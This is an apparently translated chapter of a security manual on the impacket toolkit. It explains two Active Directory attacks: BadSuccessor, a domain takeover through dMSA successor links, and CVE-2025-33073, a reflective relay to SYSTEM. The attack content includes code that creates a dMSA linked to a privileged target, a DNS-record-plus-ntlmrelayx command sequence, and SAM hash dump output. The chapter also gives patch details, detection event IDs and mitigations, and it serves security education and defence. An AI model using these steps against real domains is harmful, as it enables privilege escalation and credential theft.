Skip to content

Chapter 9 — Case Studies: BadSuccessor & CVE-2025-33073

Chapter 9 Case Studies: Writing PoCs for the Latest Vulnerabilities with impacket

This chapter picks two of the most representative recent cases: BadSuccessor (abusing the dMSA account type introduced in Windows Server 2025 to take over a domain) and CVE-2025-33073 (reflective relay straight to SYSTEM). The first shows how to write an attack script with LDAP and a hand-built security descriptor; the second shows how to understand and reproduce the latest relay workflow that impacket's relay framework supports.

9.1 BadSuccessor (CVE-2025-53779): Taking Over a Domain via dMSA

Background. On 21 May 2025, Akamai researcher Yuval Gordon published BadSuccessor; shortly after the DEF CON 2025 talk, Microsoft assigned it CVE-2025-53779 and shipped a patch. It does not abuse a memory-corruption bug, but rather a new account type introduced in Windows Server 2025 - the delegated Managed Service Account (dMSA). dMSA was designed to make it easy to "migrate" legacy service accounts into managed accounts; but the researcher found that the inheritance of a migration relationship hinges entirely on a single attribute, msDS-ManagedAccountPrecededByLink, and the KDC never validates whether that "bloodline" is real.

Mechanism. As long as an attacker holds CreateChild ("create all child objects") or the right to create msDS-DelegatedManagedServiceAccount on any OU, they can create a dMSA in that OU, then point its msDS-ManagedAccountPrecededByLink at any target account (Domain Admins, domain controllers, Protected Users, even "sensitive and cannot be delegated" accounts) and set the migration state to "completed". The KDC then treats the dMSA as the target's "successor": it merges the target's entire group membership into the dMSA's PAC, and returns the target's Kerberos keys in the dMSA key package. In 91% of the environments Akamai examined, users outside the Domain Admins group already had the required permissions.

The key attributes:

Attribute Role
objectClass = msDS-DelegatedManagedServiceAccount the dMSA object class
msDS-DelegatedMSAState = 2 migration state (2 means "migration complete")
msDS-ManagedAccountPrecededByLink DN of the "inherited" account - the core of the attack
msDS-GroupMSAMembership who may retrieve the managed password (a security descriptor)
msDS-ManagedPasswordInterval password rotation interval

impacket's tooling. examples/badsuccessor.py implements four actions - search / add / delete / modify. The search action is the equivalent of Akamai's Get-BadSuccessorOUPermissions.ps1: it walks every OU's nTSecurityDescriptor and finds identities that hold the relevant rights over msDS-DelegatedManagedServiceAccount (GUID 0feb936f-47b3-49f2-9386-1dedc2c23765).

# eg.examples/badsuccessor.py (excerpt: ACL decision in search_ous)
relevant_rights = {
    "CreateChild": 0x00000001,
    "GenericAll":  0x10000000,
    "WriteDACL":   0x00040000,
    "WriteOwner":  0x00080000,
}
relevant_object_types = {
    "00000000-0000-0000-0000-000000000000": "All Objects",
    "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}

sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)     # parse the OU security descriptor
for ace in sd['Dacl'].aces:
    if ace['AceType'] not in (ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE,
                              ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
        continue
    mask = int(ace['Ace']['Mask']['Mask'])
    if not any(mask & right for right in relevant_rights.values()):
        continue
    # object-specific ACEs must also match the dMSA ObjectType GUID
    ace_data = ace['Ace']
    if ace['AceType'] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE:
        object_guid = str(uuid.UUID(bytes_le=ace_data['ObjectType'])).lower()
        if object_guid not in relevant_object_types:
            continue
    ...

The add action demonstrates the full "hand-build a security descriptor + create the object" pattern - exactly the "write your own PoC" ability this manual keeps emphasising: first build an nTSecurityDescriptor that only lets the attacker retrieve the password, then write the whole attribute set above in one call.

# eg.examples/badsuccessor.py (excerpt: attributes and creation call in add_dmsa)
attributes = {
    'cn': self.__dmsaName,
    'sAMAccountName': '%s$' % self.__dmsaName,
    'dNSHostName': dns_hostname,
    'userAccountControl': 4096,
    'msDS-ManagedPasswordInterval': 30,
    'msDS-DelegatedMSAState': 2,                       # migration "complete"
    'msDS-SupportedEncryptionTypes': 28,
    'accountExpires': 9223372036854775807,
    'msDS-GroupMSAMembership': group_msa_membership,   # who may read the managed password
    'msDS-ManagedAccountPrecededByLink': target_dn,    # the inherited account
}
success = ldapConnection.add(dmsa_dn, ['msDS-DelegatedManagedServiceAccount'], attributes=attributes)

After the patch. Microsoft added validation in kdcsvc.dll: a one-way link is no longer honoured by the KDC - the pairing must be mutual (the target also references the dMSA, as a real migration would produce) before a ticket is issued. But the link attribute itself gained no protection, so BadSuccessor survives as a technique: where the target object is already controlled, it still works as a "shadow credentials" alternative or a DCSync alternative for stealing credentials. Detection points include: Event 5137 (dMSA creation), 5136 (msDS-ManagedAccountPrecededByLink modification), 2946 (TGT issued for a dMSA), and 4662 (object operation).

Use the upstream tool. The search action of upstream examples/badsuccessor.py already performs the equivalent permission reconnaissance (the counterpart of Akamai's Get-BadSuccessorOUPermissions.ps1).

9.2 CVE-2025-33073: Reflective Relay, SYSTEM in One Step

Background. CVE-2025-33073 was discovered by RedTeam Pentesting in January 2025 (independently reproduced by Synacktiv and others), assigned on 2025-05-30, and fixed in the June 2025 Patch Tuesday. Microsoft described it as an "SMB client elevation of privilege", but as Synacktiv pointed out, it is really authenticated remote command execution as SYSTEM against any machine that does not enforce SMB signing. It revives NTLM reflection - believed dead since MS08-068 - and extends it to Kerberos.

Mechanism: the CMTI trick plus reflection. The attack has three steps:

  1. Register a "special" DNS record. Leveraging James Forshaw's CREDENTIAL_TARGET_INFORMATION (CMTI) idea, a serialized target-information blob can be appended to the end of an SPN. So you register a record like srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA (where 1UWhRCAAAA... is the marshalled target information) pointing to the attacker. Any authenticated user is allowed to create DNS records in the domain by default (with ADIDNS).
  2. Coerce authentication. Using a coercion primitive such as PetitPotam, lure the target machine (a service running as SYSTEM) into an SMB authentication to the host behind that record. Before building the authentication, LSASS discards the trailing marshalled portion, leaving just srv1 - so it "believes" it is performing local authentication and handles it as local NTLM (copying the SYSTEM token into the server context) or Kerberos (the subkey hitting KERB_LOCAL).
  3. Relay back to itself. Relay that authentication to the target's own SMB service to obtain a SYSTEM session, then remotely edit the registry or dump SAM.
# 1. add the CMTI DNS record (any domain user can do this)
#    dnstool.py -u 'CORP\lowpriv' -p <pass> -a add -d <attacker_ip> \
#        -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <dc_ip>
# 2. coerce authentication + 3. relay back to itself
#    ntlmrelayx.py -t smb://SRV1.CORP.LOCAL -smb2support
[*] Authenticating against smb://SRV1.CORP.LOCAL as / SUCCEED
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...:::

Preconditions. The only requirement is that the target does not enforce SMB signing - servers enable signing by default only on domain controllers, and clients only since Windows 11 24H2, so a great many servers/clients remain exposed. Enabling SMB signing blocks the attack (even without the patch).

impacket's support. 0.13.1 added the "remove NTLM sign/seal" paths that the CVE-2025-33073-related relay workflow needs to ntlmrelayx.py (the --remove-mic handling), and promptly fixed CVE-2025-53778 (reflection bypassing channel binding, CBT, for HTTPS/WinRM/MSSQL). These details live directly in the relay servers and SOCKS plugins under impacket/examples/ntlmrelayx.

Patch and status quo. Microsoft added a check to mrxsmb!SmbCeCreateSrvCall that aborts an SMB connection whenever the target name contains marshalled target information. But in 2026 Synacktiv further showed that the patch only closed the CMTI trick in the SMB client; new coercion primitives based on Unicode normalisation / custom ports then appeared (CVE-2026-24294, CVE-2026-26128, ...). The authentication-reflection vulnerability class is far from over. Defensively, "enforce SMB signing in the domain + close/audit ADIDNS record creation + reduce coercion primitives" is the most sensible combination.

Summary: both cases say the same thing - once a protocol path is open, its attack surface keeps being rediscovered. BadSuccessor is a reminder to watch the KDC's trust assumptions about a "migration relationship"; CVE-2025-33073 is a reminder that "a mitigation (NTLM reflection protection) is not a cure". impacket can keep up so quickly precisely because its modular implementation slices every protocol primitive finely enough - which is why this manual spent seven chapters dissecting the source.

References:

This manual leaned on a great many articles written by predecessors — standing on the shoulders of giants. Time was tight during writing, so citations may be incomplete; please point out omissions and they will be added promptly (never deliberately omitted).

https://paper.seebug.org/1755/

https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13

https://learn.microsoft.com/zh-cn/windows/win32/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance

http://www.yfvb.com/help/wmi/index.htm

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/485026a6-d7e0-4ef8-a44f-43e5853fff9d

https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process#methods

https://blog.csdn.net/Ping_Pig/article/details/119446154

https://learn.microsoft.com/en-us/openspecs/windows_protocols/

https://learn.microsoft.com/en-us/windows/win32/shell/shellwindows-item

https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

https://www.ibm.com/docs/zh/db2/10.1.0?topic=routines-ole-automation

https://www.anquanke.com/post/id/215960

https://blog.csdn.net/guxch/article/details/6880335

https://payloads.online/archivers/2020-07-16/1/

https://blog.51cto.com/u_15075510/3505281

https://www.zhihu.com/question/49433640/answer/115952604

https://learning.oreilly.com/library/view/learning-dcom

https://zh.wikipedia.org/wiki/%E9%81%A0%E7%A8%8B%E9%81%8E%E7%A8%8B%E8%AA%BF%E7%94%A8

https://learn.microsoft.com/en-us/openspecs/windows_protocols/

https://github.com/OTRF/ThreatHunter-Playbook

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2

https://blog.csdn.net/zhuhuan_5/article/details/107593368

https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm

https://learn.microsoft.com/zh-cn/windows/win32/rpc/

http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862

https://payloads.online/archivers/2022-03-04/1/#0x03-impacket%E7%9A%84%E9%80%9A%E7%94%A8%E5%BC%80%E5%8F%91%E6%B5%81%E7%A8%8B

https://www.freebuf.com/articles/network/265320.html

https://myzxcg.com/2021/08/Kerberos-%E8%AE%A4%E8%AF%81%E8%BF%87%E7%A8%8B%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90%E4%B8%80/

https://www.cnblogs.com/yokan/p/16102699.html

https://www.4hou.com/posts/5KG8

https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-spng/f377a379-c24f-4a0f-a3eb-0d835389e28a

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/06451bf2-578a-4b9d-94c0-8ce531bf14c4

https://docs.oracle.com/cd/E19253-01/819-7056/6n91eac42/index.html

https://silvermissile.github.io/2020/08/16/%E6%95%B0%E6%8D%AE%E5%8A%A8%E6%80%81%E5%AE%89%E5%85%A8%E5%8D%8F%E8%AE%AE%E7%BB%BC%E8%BF%B0/

https://zhuanlan.zhihu.com/p/68583311

https://zhuanlan.zhihu.com/p/266491528

https://juejin.cn/post/6844903955416219661

https://www.ietf.org/rfc/rfc4615.txt

https://www.ietf.org/rfc/rfc4493.txt

https://www.ibm.com/docs/en/zos/2.3.0?topic=kpi-krb5-get-cred-from-kdc-obtain-kdc-server-service-ticket

https://web.mit.edu/kerberos/krb5-devel/doc/appdev/refs/types/krb5_creds.html

https://www.rfc-editor.org/rfc/rfc6448.html

https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/keytab.txt

https://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface

https://datatracker.ietf.org/doc/html/rfc4121

http://tech.sina.com.cn/roll/2007-08-05/2043381729.shtml

https://fossies.org/dox/freedce-1.1.0.7/mgmt_8c.html#aa683fdbf3f0ae0f068468426f0f5ae3e

https://pubs.opengroup.org/onlinepubs/9629399/apdxq.htm

https://learn.microsoft.com/en-us/openspecs/windows_protocols

https://tttang.com/archive/1403/

https://www.anquanke.com/post/id/219374#h3-6

https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/

https://twitter.com/_mohemiv

https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

https://cloud.tencent.com/developer/article/1937702

https://xie1997.blog.csdn.net/article/details/119457498

https://www.freebuf.com/articles/network/285345.html

https://www.akamai.com/blog/security-research/cold-hard-cache-bypassing-rpc-with-cache-abuse